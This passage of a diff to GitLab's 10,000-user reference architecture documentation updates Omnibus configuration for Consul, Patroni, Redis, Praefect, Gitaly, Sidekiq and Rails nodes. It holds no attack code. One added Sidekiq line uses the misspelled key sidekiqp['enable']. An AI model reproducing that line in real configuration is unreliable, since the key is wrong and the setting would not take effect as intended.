| Sidekiq | 4 | 4 vCPU, 15 GB memory | `n1-standard-4` | `m5.xlarge` | `D4s v3` |
| GitLab Rails | 3 | 32 vCPU, 28.8 GB memory | `n1-highcpu-32` | `c5.9xlarge` | `F32s v2` |
| Monitoring node | 1 | 4 vCPU, 3.6 GB memory | `n1-highcpu-4` | `c5.xlarge` | `F4s v2` |
-| Object storage | n/a | n/a | n/a | n/a | n/a |
-| NFS server | 1 | 4 vCPU, 3.6 GB memory | `n1-highcpu-4` | `c5.xlarge` | `F4s v2` |
+| Object storage(4) | n/a | n/a | n/a | n/a | n/a |
+| NFS server (optional, not recommended) | 1 | 4 vCPU, 3.6 GB memory | `n1-highcpu-4` | `c5.xlarge` | `F4s v2` |
+
+<!-- Disable ordered list rule https://github.com/DavidAnson/markdownlint/blob/main/doc/Rules.md#md029---ordered-list-item-prefix -->
+<!-- markdownlint-disable MD029 -->
+1. Can be optionally run on reputable third-party external PaaS PostgreSQL solutions. Google Cloud SQL and AWS RDS are known to work, however Azure Database for PostgreSQL is [not recommended](https://gitlab.com/gitlab-org/quality/reference-architectures/-/issues/61) due to performance issues. Consul is primarily used for PostgreSQL high availability so can be ignored when using a PostgreSQL PaaS setup. However it is also used optionally by Prometheus for Omnibus auto host discovery.
+2. Can be optionally run on reputable third-party external PaaS Redis solutions. Google Memorystore and AWS Elasticache are known to work.
+3. Can be optionally run on reputable third-party load balancing services (LB PaaS). AWS ELB is known to work.
+4. Should be run on reputable third party object storage (storage PaaS) for cloud implementations. Google Cloud Storage and AWS S3 are known to work.
+<!-- markdownlint-enable MD029 -->
NOTE:
-Components marked with * can be optionally run on reputable
-third party external PaaS PostgreSQL solutions. Google Cloud SQL and AWS RDS are known to work.
-Components marked with ** can be optionally run on reputable
-third party external PaaS Redis solutions. Google Memorystore and AWS Elasticache are known to work.
+For all PaaS solutions that involve configuring instances, it is strongly recommended to implement a minimum of three nodes in three different availability zones to align with resilient cloud architecture practices.
```plantuml
@startuml 10k
@@ -157,7 +162,7 @@ To set up GitLab and its components to accommodate up to 10,000 users:
provides access to the Git repositories.
1. [Configure Sidekiq](#configure-sidekiq).
1. [Configure the main GitLab Rails application](#configure-gitlab-rails)
- to run Puma/Unicorn, Workhorse, GitLab Shell, and to serve all frontend
+ to run Puma, Workhorse, GitLab Shell, and to serve all frontend
requests (which include UI, API, and Git over HTTP/SSH).
1. [Configure Prometheus](#configure-prometheus) to monitor your GitLab
environment.
@@ -411,11 +416,6 @@ The following IPs will be used as an example:
- `10.6.0.12`: Consul 2
- `10.6.0.13`: Consul 3
-NOTE:
-The configuration processes for the other servers in your reference architecture will
-use the `/etc/gitlab/gitlab-secrets.json` file from your Consul server to connect
-with the other servers.
-
To configure Consul:
1. SSH in to the server that will host Consul.
@@ -426,10 +426,9 @@ To configure Consul:
1. Edit `/etc/gitlab/gitlab.rb` and add the contents:
```ruby
- roles ['consul_role']
+ roles(['consul_role'])
## Enable service discovery for Prometheus
- consul['enable'] = true
consul['monitoring_service_discovery'] = true
## The IPs of the Consul server nodes
@@ -446,7 +445,11 @@ To configure Consul:
gitlab_rails['auto_migrate'] = false
```
+1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace
+ the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step.
+
1. [Reconfigure Omnibus GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
+
1. Go through the steps again for all the other Consul nodes, and
make sure you set up the correct IPs.
@@ -538,6 +541,15 @@ in the second step, do not supply the `EXTERNAL_URL` value.
sudo gitlab-ctl pg-password-md5 pgbouncer
```
+1. Generate a password hash for the PostgreSQL replication username/password pair. This assumes you will use the default
+ username of `gitlab_replicator` (recommended). The command will request a password
+ and a confirmation. Use the value that is output by this command in the next step
+ as the value of `<postgresql_replication_password_hash>`:
+
+ ```shell
+ sudo gitlab-ctl pg-password-md5 gitlab_replicator
+ ```
+
1. Generate a password hash for the Consul database username/password pair. This assumes you will use the default
username of `gitlab-consul` (recommended). The command will request a password
and confirmation. Use the value that is output by this command in the next
@@ -550,19 +562,21 @@ in the second step, do not supply the `EXTERNAL_URL` value.
1. On every database node, edit `/etc/gitlab/gitlab.rb` replacing values noted in the `# START user configuration` section:
```ruby
- # Disable all components except PostgreSQL, Patroni, and Consul
- roles ['postgres_role']
+ # Disable all components except Patroni and Consul
+ roles(['patroni_role'])
# PostgreSQL configuration
postgresql['listen_address'] = '0.0.0.0'
- # Enable Patroni
- patroni['enable'] = true
- # Set `max_wal_senders` to one more than the number of database nodes in the cluster.
+ # Sets `max_replication_slots` to double the number of database nodes.
+ # Patroni uses one extra slot per node when initiating the replication.
+ patroni['postgresql']['max_replication_slots'] = 8
+
+ # Set `max_wal_senders` to one more than the number of replication slots in the cluster.
# This is used to prevent replication from using up all of the
# available database connections.
- patroni['postgresql']['max_wal_senders'] = 4
- patroni['postgresql']['max_replication_slots'] = 4
+ patroni['postgresql']['max_wal_senders'] = 9
+
# Incoming recommended value for max connections is 500. See https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5691.
patroni['postgresql']['max_connections'] = 500
@@ -570,7 +584,6 @@ in the second step, do not supply the `EXTERNAL_URL` value.
gitlab_rails['auto_migrate'] = false
# Configure the Consul agent
- consul['enable'] = true
consul['services'] = %w(postgresql)
## Enable service discovery for Prometheus
consul['monitoring_service_discovery'] = true
@@ -580,6 +593,8 @@ in the second step, do not supply the `EXTERNAL_URL` value.
#
# Replace PGBOUNCER_PASSWORD_HASH with a generated md5 value
postgresql['pgbouncer_user_password'] = '<pgbouncer_password_hash>'
+ # Replace POSTGRESQL_REPLICATION_PASSWORD_HASH with a generated md5 value
+ postgresql['sql_replication_password'] = '<postgresql_replication_password_hash>'
# Replace POSTGRESQL_PASSWORD_HASH with a generated md5 value
postgresql['sql_user_password'] = '<postgresql_password_hash>'
@@ -603,9 +618,8 @@ PostgreSQL, with Patroni managing its failover, will default to use `pg_rewind`
Like most failover handling methods, this has a small chance of leading to data loss.
Learn more about the various [Patroni replication methods](../postgresql/replication_and_failover.md#selecting-the-appropriate-patroni-replication-method).
-1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and replace
- the file of the same name on this server. If that file is not on this server,
- add the file from your Consul server to this server.
+1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace
+ the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step.
1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
@@ -620,21 +634,7 @@ are supported and can be added if needed.
#### PostgreSQL post-configuration
-SSH in to the **primary node**:
-
-1. Open a database prompt:
-
- ```shell
- gitlab-psql -d gitlabhq_production
- ```
-
-1. Make sure the `pg_trgm` extension is enabled (it might already be):
-
- ```shell
- CREATE EXTENSION pg_trgm;
- ```
-
-1. Exit the database prompt by typing `\q` and Enter.
+SSH in to any of the Patroni nodes on the **primary site**:
1. Check the status of the leader and cluster:
@@ -676,7 +676,7 @@ The following IPs will be used as an example:
```ruby
# Disable all components except Pgbouncer and Consul agent
- roles ['pgbouncer_role']
+ roles(['pgbouncer_role'])
# Configure PgBouncer
pgbouncer['admin_users'] = %w(pgbouncer gitlab-consul)
@@ -693,7 +693,6 @@ The following IPs will be used as an example:
# Configure Consul agent
consul['watchers'] = %w(postgresql)
- consul['enable'] = true
consul['configuration'] = {
retry_join: %w(10.6.0.11 10.6.0.12 10.6.0.13)
}
@@ -705,9 +704,8 @@ The following IPs will be used as an example:
node_exporter['listen_address'] = '0.0.0.0:9100'
```
-1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and replace
- the file of the same name on this server. If that file is not on this server,
- add the file from your Consul server to this server.
+1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace
+ the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step.
1. [Reconfigure Omnibus GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
@@ -826,8 +824,8 @@ a node and change its status from primary to replica (and vice versa).
1. Edit `/etc/gitlab/gitlab.rb` and add the contents:
```ruby
- # Specify server role as 'redis_master_role'
- roles ['redis_master_role']
+ # Specify server role as 'redis_master_role' and enable Consul agent
+ roles(['redis_master_role', 'consul_role'])
# IP address pointing to a local IP that the other machines can reach to.
# You can also set bind to '0.0.0.0' which listen in all interfaces.
@@ -849,7 +847,6 @@ a node and change its status from primary to replica (and vice versa).
redis['maxmemory_samples'] = 5
## Enable service discovery for Prometheus
- consul['enable'] = true
consul['monitoring_service_discovery'] = true
## The IPs of the Consul server nodes
@@ -861,19 +858,22 @@ a node and change its status from primary to replica (and vice versa).
# Set the network addresses that the exporters will listen on
node_exporter['listen_address'] = '0.0.0.0:9100'
redis_exporter['listen_address'] = '0.0.0.0:9121'
+ redis_exporter['flags'] = {
+ 'redis.addr' => 'redis://10.6.0.51:6379',
+ 'redis.password' => 'redis-password-goes-here',
+ }
# Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
```
-1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and replace
- the file of the same name on this server. If that file is not on this server,
- add the file from your Consul server to this server.
+1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace
+ the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step.
1. [Reconfigure Omnibus GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
You can specify multiple roles, like sentinel and Redis, as:
-`roles ['redis_sentinel_role', 'redis_master_role']`. Read more about
+`roles(['redis_sentinel_role', 'redis_master_role'])`. Read more about
[roles](https://docs.gitlab.com/omnibus/roles/).
#### Configure the replica Redis Cache nodes
@@ -886,8 +886,8 @@ You can specify multiple roles, like sentinel and Redis, as:
1. Edit `/etc/gitlab/gitlab.rb` and add the contents:
```ruby
- # Specify server role as 'redis_replica_role'
- roles ['redis_replica_role']
+ # Specify server role as 'redis_replica_role' and enable Consul agent
+ roles(['redis_replica_role', 'consul_role'])
# IP address pointing to a local IP that the other machines can reach to.
# You can also set bind to '0.0.0.0' which listen in all interfaces.
@@ -916,7 +916,6 @@ You can specify multiple roles, like sentinel and Redis, as:
redis['maxmemory_samples'] = 5
## Enable service discovery for Prometheus
- consul['enable'] = true
consul['monitoring_service_discovery'] = true
## The IPs of the Consul server nodes
@@ -928,21 +927,24 @@ You can specify multiple roles, like sentinel and Redis, as:
# Set the network addresses that the exporters will listen on
node_exporter['listen_address'] = '0.0.0.0:9100'
redis_exporter['listen_address'] = '0.0.0.0:9121'
+ redis_exporter['flags'] = {
+ 'redis.addr' => 'redis://10.6.0.52:6379',
+ 'redis.password' => 'redis-password-goes-here',
+ }
# Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
```
-1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and replace
- the file of the same name on this server. If that file is not on this server,
- add the file from your Consul server to this server.
+1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace
+ the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step.
1. [Reconfigure Omnibus GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
1. Go through the steps again for all the other replica nodes, and
make sure to set up the IPs correctly.
You can specify multiple roles, like sentinel and Redis, as:
-`roles ['redis_sentinel_role', 'redis_master_role']`. Read more about
+`roles(['redis_sentinel_role', 'redis_master_role'])`. Read more about
[roles](https://docs.gitlab.com/omnibus/roles/).
These values don't have to be changed again in `/etc/gitlab/gitlab.rb` after
@@ -984,7 +986,7 @@ To configure the Sentinel Cache server:
1. Edit `/etc/gitlab/gitlab.rb` and add the contents:
```ruby
- roles ['redis_sentinel_role']
+ roles(['redis_sentinel_role', 'consul_role'])
## Must be the same in every sentinel node
redis['master_name'] = 'gitlab-redis-cache'
@@ -1048,7 +1050,6 @@ To configure the Sentinel Cache server:
#sentinel['failover_timeout'] = 60000
## Enable service discovery for Prometheus
- consul['enable'] = true
consul['monitoring_service_discovery'] = true
## The IPs of the Consul server nodes
@@ -1065,9 +1066,8 @@ To configure the Sentinel Cache server:
gitlab_rails['auto_migrate'] = false
```
-1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and replace
- the file of the same name on this server. If that file is not on this server,
- add the file from your Consul server to this server.
+1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace
+ the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step.
1. [Reconfigure Omnibus GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
1. Go through the steps again for all the other Consul/Sentinel nodes, and
@@ -1097,8 +1097,8 @@ a node and change its status from primary to replica (and vice versa).
1. Edit `/etc/gitlab/gitlab.rb` and add the contents:
```ruby
- # Specify server role as 'redis_master_role'
- roles ['redis_master_role']
+ # Specify server role as 'redis_master_role' and enable Consul agent
+ roles(['redis_master_role', 'consul_role'])
# IP address pointing to a local IP that the other machines can reach to.
# You can also set bind to '0.0.0.0' which listen in all interfaces.
@@ -1114,7 +1114,6 @@ a node and change its status from primary to replica (and vice versa).
redis['password'] = 'REDIS_PRIMARY_PASSWORD_OF_SECOND_CLUSTER'
## Enable service discovery for Prometheus
- consul['enable'] = true
consul['monitoring_service_discovery'] = true
## The IPs of the Consul server nodes
@@ -1131,14 +1130,13 @@ a node and change its status from primary to replica (and vice versa).
gitlab_rails['auto_migrate'] = false
```
-1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and replace
- the file of the same name on this server. If that file is not on this server,
- add the file from your Consul server to this server.
+1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace
+ the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step.
1. [Reconfigure Omnibus GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
You can specify multiple roles, like sentinel and Redis, as:
-`roles ['redis_sentinel_role', 'redis_master_role']`. Read more about
+`roles(['redis_sentinel_role', 'redis_master_role'])`. Read more about
[roles](https://docs.gitlab.com/omnibus/roles/).
#### Configure the replica Redis Queues nodes
@@ -1151,8 +1149,8 @@ You can specify multiple roles, like sentinel and Redis, as:
1. Edit `/etc/gitlab/gitlab.rb` and add the contents:
```ruby
- # Specify server role as 'redis_replica_role'
- roles ['redis_replica_role']
+ # Specify server role as 'redis_replica_role' and enable Consul agent
+ roles(['redis_replica_role', 'consul_role'])
# IP address pointing to a local IP that the other machines can reach to.
# You can also set bind to '0.0.0.0' which listen in all interfaces.
@@ -1175,7 +1173,6 @@ You can specify multiple roles, like sentinel and Redis, as:
#redis['master_port'] = 6379
## Enable service discovery for Prometheus
- consul['enable'] = true
consul['monitoring_service_discovery'] = true
## The IPs of the Consul server nodes
@@ -1192,16 +1189,15 @@ You can specify multiple roles, like sentinel and Redis, as:
gitlab_rails['auto_migrate'] = false
```
-1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and replace
- the file of the same name on this server. If that file is not on this server,
- add the file from your Consul server to this server.
+1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace
+ the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step.
1. [Reconfigure Omnibus GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
1. Go through the steps again for all the other replica nodes, and
make sure to set up the IPs correctly.
You can specify multiple roles, like sentinel and Redis, as:
-`roles ['redis_sentinel_role', 'redis_master_role']`. Read more about
+`roles(['redis_sentinel_role', 'redis_master_role'])`. Read more about
[roles](https://docs.gitlab.com/omnibus/roles/).
These values don't have to be changed again in `/etc/gitlab/gitlab.rb` after
@@ -1243,7 +1239,7 @@ To configure the Sentinel Queues server:
1. Edit `/etc/gitlab/gitlab.rb` and add the contents:
```ruby
- roles ['redis_sentinel_role']
+ roles(['redis_sentinel_role', 'consul_role'])
## Must be the same in every sentinel node
redis['master_name'] = 'gitlab-redis-persistent'
@@ -1307,7 +1303,6 @@ To configure the Sentinel Queues server:
#sentinel['failover_timeout'] = 60000
## Enable service discovery for Prometheus
- consul['enable'] = true
consul['monitoring_service_discovery'] = true
## The IPs of the Consul server nodes
@@ -1324,17 +1319,8 @@ To configure the Sentinel Queues server:
gitlab_rails['auto_migrate'] = false
```
-1. To prevent database migrations from running on upgrade, run:
-
- ```shell
- sudo touch /etc/gitlab/skip-auto-reconfigure
- ```
-
- Only the primary GitLab application server should handle migrations.
-
-1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and replace
- the file of the same name on this server. If that file is not on this server,
- add the file from your Consul server to this server.
+1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace
+ the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step.
1. [Reconfigure Omnibus GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
1. Go through the steps again for all the other Sentinel nodes, and
@@ -1397,9 +1383,7 @@ in the second step, do not supply the `EXTERNAL_URL` value.
```ruby
# Disable all components except PostgreSQL and Consul
- roles ['postgres_role']
- repmgr['enable'] = false
- patroni['enable'] = false
+ roles(['postgres_role', 'consul_role'])
# PostgreSQL configuration
postgresql['listen_address'] = '0.0.0.0'
@@ -1409,7 +1393,6 @@ in the second step, do not supply the `EXTERNAL_URL` value.
gitlab_rails['auto_migrate'] = false
# Configure the Consul agent
- consul['enable'] = true
## Enable service discovery for Prometheus
consul['monitoring_service_discovery'] = true
@@ -1435,7 +1418,11 @@ in the second step, do not supply the `EXTERNAL_URL` value.
# END user configuration
```
+1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace
+ the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step.
+
1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
+
1. Follow the [post configuration](#praefect-postgresql-post-configuration).
<div align="right">
@@ -1533,19 +1520,18 @@ To configure the Praefect nodes, on each one:
1. Edit the `/etc/gitlab/gitlab.rb` file to configure Praefect:
```ruby
- # Avoid running unnecessary services on the Gitaly server
+ # Avoid running unnecessary services on the Praefect server
+ gitaly['enable'] = false
postgresql['enable'] = false
redis['enable'] = false
- nginx['enable'] = false
puma['enable'] = false
- unicorn['enable'] = false
sidekiq['enable'] = false
gitlab_workhorse['enable'] = false
- grafana['enable'] = false
-
- # If you run a separate monitoring node you can disable these services
- alertmanager['enable'] = false
prometheus['enable'] = false
+ alertmanager['enable'] = false
+ grafana['enable'] = false
+ gitlab_exporter['enable'] = false
+ nginx['enable'] = false
# Praefect Configuration
praefect['enable'] = true
@@ -1583,19 +1569,20 @@ To configure the Praefect nodes, on each one:
# server ('praefect') and in git_data_dirs on Gitaly nodes ('gitaly-1')
praefect['virtual_storages'] = {
'default' => {
- 'gitaly-1' => {
- 'address' => 'tcp://10.6.0.91:8075',
- 'token' => '<praefect_internal_token>',
- 'primary' => true
- },
- 'gitaly-2' => {
- 'address' => 'tcp://10.6.0.92:8075',
- 'token' => '<praefect_internal_token>'
- },
- 'gitaly-3' => {
- 'address' => 'tcp://10.6.0.93:8075',
- 'token' => '<praefect_internal_token>'
- },
+ 'nodes' => {
+ 'gitaly-1' => {
+ 'address' => 'tcp://10.6.0.91:8075',
+ 'token' => '<praefect_internal_token>'
+ },
+ 'gitaly-2' => {
+ 'address' => 'tcp://10.6.0.92:8075',
+ 'token' => '<praefect_internal_token>'
+ },
+ 'gitaly-3' => {
+ 'address' => 'tcp://10.6.0.93:8075',
+ 'token' => '<praefect_internal_token>'
+ },
+ }
}
}
@@ -1612,11 +1599,25 @@ To configure the Praefect nodes, on each one:
# END user configuration
```
- 1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and
- then replace the file of the same name on this server. If that file isn't on
- this server, add the file from your Consul server to this server.
+1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace
+ the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step.
+
+1. Praefect requires to run some database migrations, much like the main GitLab application. For this
+ you should select **one Praefect node only to run the migrations**, AKA the _Deploy Node_. This node
+ must be configured first before the others as follows:
+
+ 1. In the `/etc/gitlab/gitlab.rb` file, change the `praefect['auto_migrate']` setting value from `false` to `true`
+
+ 1. To ensure database migrations are only run during reconfigure and not automatically on upgrade, run:
+
+ ```shell
+ sudo touch /etc/gitlab/skip-auto-reconfigure
+ ```
+
+ 1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect and
+ to run the Praefect database migrations.
- 1. Save the file, and then [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure).
+1. On all other Praefect nodes, [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
### Configure Gitaly
@@ -1660,21 +1661,17 @@ On each node:
storage paths, enable the network listener, and to configure the token:
```ruby
- # /etc/gitlab/gitlab.rb
-
# Avoid running unnecessary services on the Gitaly server
postgresql['enable'] = false
redis['enable'] = false
- nginx['enable'] = false
puma['enable'] = false
- unicorn['enable'] = false
sidekiq['enable'] = false
gitlab_workhorse['enable'] = false
- grafana['enable'] = false
-
- # If you run a separate monitoring node you can disable these services
- alertmanager['enable'] = false
prometheus['enable'] = false
+ alertmanager['enable'] = false
+ grafana['enable'] = false
+ gitlab_exporter['enable'] = false
+ nginx['enable'] = false
# Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
@@ -1682,9 +1679,11 @@ On each node:
# Configure the gitlab-shell API callback URL. Without this, `git push` will
# fail. This can be your 'front door' GitLab URL or an internal load
# balancer.
- # Don't forget to copy `/etc/gitlab/gitlab-secrets.json` from web server to Gitaly server.
gitlab_rails['internal_api_url'] = 'https://gitlab.example.com'
+ # Gitaly
+ gitaly['enable'] = true
+
# Make Gitaly accept connections on all network interfaces. You must use
# firewalls to restrict access to this address/port.
# Comment out following line if you only want to support TLS connections
@@ -1726,9 +1725,8 @@ On each node:
})
```
-1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and
- then replace the file of the same name on this server. If that file isn't on
- this server, add the file from your Consul server to this server.
+1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace
+ the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step.
1. Save the file, and then [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure).
@@ -1835,28 +1833,19 @@ To configure the Sidekiq nodes, on each one:
1. Open `/etc/gitlab/gitlab.rb` with your editor:
```ruby
- ########################################
- ##### Services Disabled ###
- ########################################
-
- nginx['enable'] = false
- grafana['enable'] = false
- prometheus['enable'] = false
- alertmanager['enable'] = false
+ # Avoid running unnecessary services on the Sidekiq server
gitaly['enable'] = false
- gitlab_workhorse['enable'] = false
- nginx['enable'] = false
- puma['enable'] = false
- postgres_exporter['enable'] = false
postgresql['enable'] = false
redis['enable'] = false
- redis_exporter['enable'] = false
+ puma['enable'] = false
+ gitlab_workhorse['enable'] = false
+ prometheus['enable'] = false
+ alertmanager['enable'] = false
+ grafana['enable'] = false
gitlab_exporter['enable'] = false
+ nginx['enable'] = false
- ########################################
- #### Redis ###
- ########################################
-
+ # Redis
## Redis connection details
## First cluster that will host the cache
gitlab_rails['redis_cache_instance'] = 'redis://:<REDIS_PRIMARY_PASSWORD_OF_FIRST_CLUSTER>@gitlab-redis-cache'
@@ -1888,13 +1877,10 @@ To configure the Sidekiq nodes, on each one:
{host: '10.6.0.83', port: 26379},
]
- #######################################
- ### Gitaly ###
- #######################################
-
- # git_data_dirs get configured for the Praefect virtual storage
- # Address is Internal Load Balancer for Praefect
- # Token is praefect_external_token
+ # Gitaly Cluster
+ ## git_data_dirs get configured for the Praefect virtual storage
+ ## Address is Internal Load Balancer for Praefect
+ ## Token is praefect_external_token
git_data_dirs({
"default" => {
"gitaly_address" => "tcp://10.6.0.40:2305", # internal load balancer IP
@@ -1902,20 +1888,17 @@ To configure the Sidekiq nodes, on each one:
}
})
- #######################################
- ### Postgres ###
- #######################################
+ # PostgreSQL
gitlab_rails['db_host'] = '10.6.0.40' # internal load balancer IP
gitlab_rails['db_port'] = 6432
gitlab_rails['db_password'] = '<postgresql_user_password>'
gitlab_rails['db_adapter'] = 'postgresql'
gitlab_rails['db_encoding'] = 'unicode'
- # Prevent database migrations from running on upgrade automatically
+ ## Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
- #######################################
- ### Sidekiq configuration ###
- #######################################
+ # Sidekiq
+ sidekiqp['enable'] = true
sidekiq['listen_address'] = "0.0.0.0"
# Set number of Sidekiq queue processes to the same number as available CPUs
@@ -1924,9 +1907,7 @@ To configure the Sidekiq nodes, on each one:
# Set number of Sidekiq threads per queue process to the recommend number of 10
sidekiq['max_concurrency'] = 10
- #######################################
- ### Monitoring configuration ###
- #######################################
+ # Monitoring
consul['enable'] = true
consul['monitoring_service_discovery'] = true
@@ -1934,18 +1915,15 @@ To configure the Sidekiq nodes, on each one:
retry_join: %w(10.6.0.11 10.6.0.12 10.6.0.13)
}
- # Set the network addresses that the exporters will listen on
+ ## Set the network addresses that the exporters will listen on
node_exporter['listen_address'] = '0.0.0.0:9100'
- # Rails Status for prometheus
+ ## Add the monitoring node's IP address to the monitoring whitelist
gitlab_rails['monitoring_whitelist'] = ['10.6.0.151/32', '127.0.0.0/8']
- #############################
- ### Object storage ###
- #############################
-
- # This is an example for configuring Object Storage on GCP
- # Replace this config with your chosen Object Storage provider as desired
+ # Object Storage
+ ## This is an example for configuring Object Storage on GCP
+ ## Replace this config with your chosen Object Storage provider as desired
gitlab_rails['object_store']['connection'] = {
'provider' => 'Google',
'google_project' => '<gcp-project-name>',
@@ -1958,11 +1936,26 @@ To configure the Sidekiq nodes, on each one:
gitlab_rails['object_store']['objects']['packages']['bucket'] = "<gcp-packages-bucket-name>"
gitlab_rails['object_store']['objects']['dependency_proxy']['bucket'] = "<gcp-dependency-proxy-bucket-name>"
gitlab_rails['object_store']['objects']['terraform_state']['bucket'] = "<gcp-terraform-state-bucket-name>"
+
+ gitlab_rails['backup_upload_connection'] = {
+ 'provider' => 'Google',
+ 'google_project' => '<gcp-project-name>',
+ 'google_json_key_location' => '<path-to-gcp-service-account-key>'
+ }
+ gitlab_rails['backup_upload_remote_directory'] = "<gcp-backups-state-bucket-name>"
+ ```
+
+1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace
+ the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step.
+
+1. To ensure database migrations are only run during reconfigure and not automatically on upgrade, run:
+
+ ```shell
+ sudo touch /etc/gitlab/skip-auto-reconfigure
```
-1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and replace
- the file of the same name on this server. If that file is not on this server,
- add the file from your Consul server to this server.
+ Only a single designated node should handle migrations as detailed in the
+ [GitLab Rails post-configuration](#gitlab-rails-post-configuration) section.
1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
@@ -1993,9 +1986,6 @@ On each node perform the following:
1. [Download and install](https://about.gitlab.com/install/) the Omnibus GitLab
package of your choice. Be sure to follow _only_ installation steps 1 and 2
on the page.
-1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and replace
- the file of the same name on this server. If that file is not on this server,
- add the file from your Consul server to this server.
1. Edit `/etc/gitlab/gitlab.rb` and use the following configuration.
To maintain uniformity of links across nodes, the `external_url`
@@ -2017,7 +2007,7 @@ On each node perform the following:
})
## Disable components that will not be on the GitLab application server
- roles ['application_role']
+ roles(['application_role'])
gitaly['enable'] = false
nginx['enable'] = true
sidekiq['enable'] = false
@@ -2090,9 +2080,15 @@ On each node perform the following:
gitlab_rails['object_store']['objects']['packages']['bucket'] = "<gcp-packages-bucket-name>"
gitlab_rails['object_store']['objects']['dependency_proxy']['bucket'] = "<gcp-dependency-proxy-bucket-name>"
gitlab_rails['object_store']['objects']['terraform_state']['bucket'] = "<gcp-terraform-state-bucket-name>"
+
+ gitlab_rails['backup_upload_connection'] = {
+ 'provider' => 'Google',
+ 'google_project' => '<gcp-project-name>',
+ 'google_json_key_location' => '<path-to-gcp-service-account-key>'
+ }
+ gitlab_rails['backup_upload_remote_directory'] = "<gcp-backups-state-bucket-name>"
```
-1. Save the file and [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure).
1. If you're using [Gitaly with TLS support](#gitaly-cluster-tls-support), make sure the
`git_data_dirs` entry is configured with `tls` instead of `tcp`:
@@ -2111,6 +2107,20 @@ On each node perform the following:
sudo cp cert.pem /etc/gitlab/trusted-certs/
```
+1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace
+ the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step.
+
+1. To ensure database migrations are only run during reconfigure and not automatically on upgrade, run:
+
+ ```shell
+ sudo touch /etc/gitlab/skip-auto-reconfigure
+ ```
+
+ Only a single designated node should handle migrations as detailed in the
+ [GitLab Rails post-configuration](#gitlab-rails-post-configuration) section.
+
+1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
+
1. If you're [using NFS](#configure-nfs-optional):
1. If necessary, install the NFS client utility packages using the following
commands:
@@ -2150,7 +2160,8 @@ On each node perform the following:
registry['gid'] = 9002
```
-1. Save the file and [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure).
